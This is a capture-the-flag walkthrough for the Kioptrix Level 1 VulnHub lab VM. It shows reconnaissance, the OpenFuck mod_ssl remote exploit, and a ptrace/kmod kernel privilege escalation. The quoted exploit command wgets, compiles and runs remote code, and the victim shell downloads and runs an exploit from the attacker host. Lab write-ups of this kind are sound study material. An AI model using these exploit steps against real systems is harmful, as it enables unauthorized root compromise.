Kioptrix level1

Kioptrix is a boot to root virtual machine which is on vulnhub.

Description:

This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.

Identify IP Address of the machine:

```
root@PREDATOR:~/vulnhub/kiop1# netdiscover -i vboxnet0 -r 10.0.0.1/24

Currently scanning: Finished!   |   Screen View: Unique Hosts

2 Captured ARP Req/Rep packets, from 2 hosts.   Total size: 84
_____________________________________________________________________________
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.0.2      08:00:27:d4:35:77     1     42  PCS Systemtechnik GmbH
10.0.0.4      08:00:27:f6:d1:74     1     42  PCS Systemtechnik GmbH
```

Nmap :

```
root@PREDATOR:~/vulnhub/kiop1# nmap -A -T4 -p- -oN nmap 10.0.0.4
Nmap scan report for 10.0.0.4
Host is up (0.00034s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
```

80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https?
|_http-title: 400 Bad Request
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_64_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ SSL2_DES_64_CBC_WITH_MD5
32768/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:F6:D1:74 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT ADDRESS
1 0.34 ms 10.0.0.4

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Wed Oct 2 07:20:13 2019 -- 1 IP address (1 host up) scanned in 71.50 seconds

Enumeration :

Enumerating port 80 and 443 we find default apache pages so nothing here.
We can see from nmap that openssl running.
We search exploit for openssl we find

```
root@PREDATOR:~/vulnhub/kiop1# searchsploit openssl
---------------------------------------------- ---------------------------------------
 Exploit Title                                |  Path
                                              | (/usr/share/exploitdb/)
---------------------------------------------- ---------------------------------------
Apache 2.4.7 + PHP 7.0.2 - 'openssl_seal()' Uninitia | exploits/php/remote/40142.php
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote | exploits/unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remo | exploits/unix/remote/47080.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remo | exploits/unix/remote/764.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'o | exploits/unix/remote/40347.txt
OpenSSL - 'ssl3_get_key_exchange()' Use-After-Free M | exploits/linux/dos/34427.txt
OpenSSL - ASN.1 Parsing                              | exploits/multiple/remote/23199.c
OpenSSL - ASN1 BIO Memory Corruption                 | exploits/multiple/dos/18756.txt
OpenSSL - Alternative Chains Certificate Forgery     | exploits/multiple/webapps/38640.rb
OpenSSL - Padding Oracle in AES-NI CBC MAC Check     | exploits/multiple/dos/39768.txt
OpenSSL - Remote Denial of Service                   | exploits/linux/dos/12334.c
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) | exploits/linux/remote/5622.txt
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) | exploits/linux/remote/5632.rb
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) | exploits/linux/remote/5720.py
OpenSSL 0.9.8k/1.0.0-beta2 - DTLS Remote Memory Exha | exploits/multiple/dos/8720.c
OpenSSL 0.9.x - CBC Error Information Leakage        | exploits/linux/remote/22264.txt
OpenSSL 1.0.1f TLS Heartbeat Extension - 'Heartbleed | exploits/multiple/remote/32764.py
OpenSSL 1.1.0 - Remote Client Denial of Service      | exploits/multiple/dos/41192.c
OpenSSL 1.1.0a/1.1.0b - Denial of Service            | exploits/linux/dos/40899.py
OpenSSL < 0.9.7l/0.9.8d - SSLv2 Client Crash         | exploits/multiple/dos/4773.pl
OpenSSL < 0.9.8i - DTLS ChangeCipherSpec Remote Deni | exploits/multiple/dos/8873.c
OpenSSL ASN.1 < 0.9.6j/0.9.7b - Brute Forcer for Par | exploits/multiple/dos/146.c
OpenSSL SSLv2 - Null Pointer Dereference Client Deni | exploits/multiple/dos/28726.pl
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Infor | exploits/multiple/remote/32791.c
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Infor | exploits/multiple/remote/32998.c
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memor | exploits/multiple/remote/32745.py
PHP - 'openssl_x509_parse()' Memory Corruption       | exploits/php/dos/30395.txt
PHP 6.0 - 'openssl_verify()' Local Buffer Overflow ( | exploits/windows/dos/19963.txt
PHP < 5.3.6 'OpenSSL' Extension - 'openssl_decrypt'  | exploits/php/dos/35487.php
PHP < 5.3.6 'OpenSSL' Extension - 'openssl_encrypt'  | exploits/php/dos/35486.php
---------------------------------------------- ---------------------------------------
---------------------------------------------- ---------------------------------------
 Shellcode Title                              |  Path
                                              | (/usr/share/exploitdb/)
---------------------------------------------- ---------------------------------------
Linux/x86 - OpenSSL Encrypt (aes256cbc) Files (test. | shellcodes/linux_x86/46791.c
---------------------------------------------- ---------------------------------------
```

Here is one exploit which matches with the version of OpenSSL running on the machine.

```
root@PREDATOR:~/vulnhub/kiop1# searchsploit -m exploits/unix/remote/764.c
```

There is a Note for upgrading the script as it hase some errors in it.
Here is the updated script

compile the code using gcc

```
root@PREDATOR:~/vulnhub/kiop1# gcc -o openfuck OpenFuck.c -lcrypto
```

and run it

```
root@PREDATOR:~/vulnhub/kiop1# ./openfuck 0x6a 10.0.0.4 -c 41

*****************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*****************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                    *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*****************************************************************

Connection... 41 of 41
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
Good Bye!
```

```
root@PREDATOR:~/vulnhub/kiop1# ./openfuck 0x6b 10.0.0.4 -c 41

*****************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*****************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                    *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*****************************************************************
Connection... 41 of 41
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f81c8
```

```
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
```

Here we see that we got apache user shell if your VM is connected to Internet you will get Root shell directly.

On line 671 we see that it runs a command after getting the user shell

```
#define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n"
#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
```

but as we are not connected to internet we get user shell because it was not able to download the file. So to get the root shell we need to do one more step that is running the file manually

```
root@PREDATOR:~/vulnhub/kiop1# searchsploit -m 3.c
  Exploit: Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/3
     Path: /usr/share/exploitdb/exploits/linux/local/3.c
File Type: C source, ASCII text, with CRLF line terminators

Copied to: /root/vulnhub/kiop1/3.c
```

we have gcc and wget installed in the machine
in the victim machine :

```
bash-2.05$ wget http://10.0.0.1/3.c
wget http://10.0.0.1/3.c
--06:24:59--  http://10.0.0.1/3.c
          => `3.c'
Connecting to 10.0.0.1:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,948 [text/plain]

    0K ...                                    100% @   3.77 MB/s

06:24:59 (3.77 MB/s) - `3.c' saved [3948/3948]

bash-2.05$ gcc 3.c -o exp
gcc 3.c -o exp
3.c:185:27: warning: no newline at end of file
```

```
bash-2.05$ chmod +x exp
chmod +x exp
bash-2.05$ ./exp
./exp
[+] Attached to 1388
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

and we got root shell

```
cat /var/mail/root
From root  Sat Sep 26 11:42:10 2009
Return-Path: <root@kioptix.level1>
Received: (from root@localhost)
        by kioptix.level1 (8.11.6/8.11.6) id n8QFgAZ01831
        for root@kioptix.level1; Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptix.level1>
Message-Id: <200909261542.n8QFgAZ01831@kioptix.level1>
To: root@kioptix.level1
Subject: About Level 2
Status: O

If you are reading this, you got root. Congratulations.
```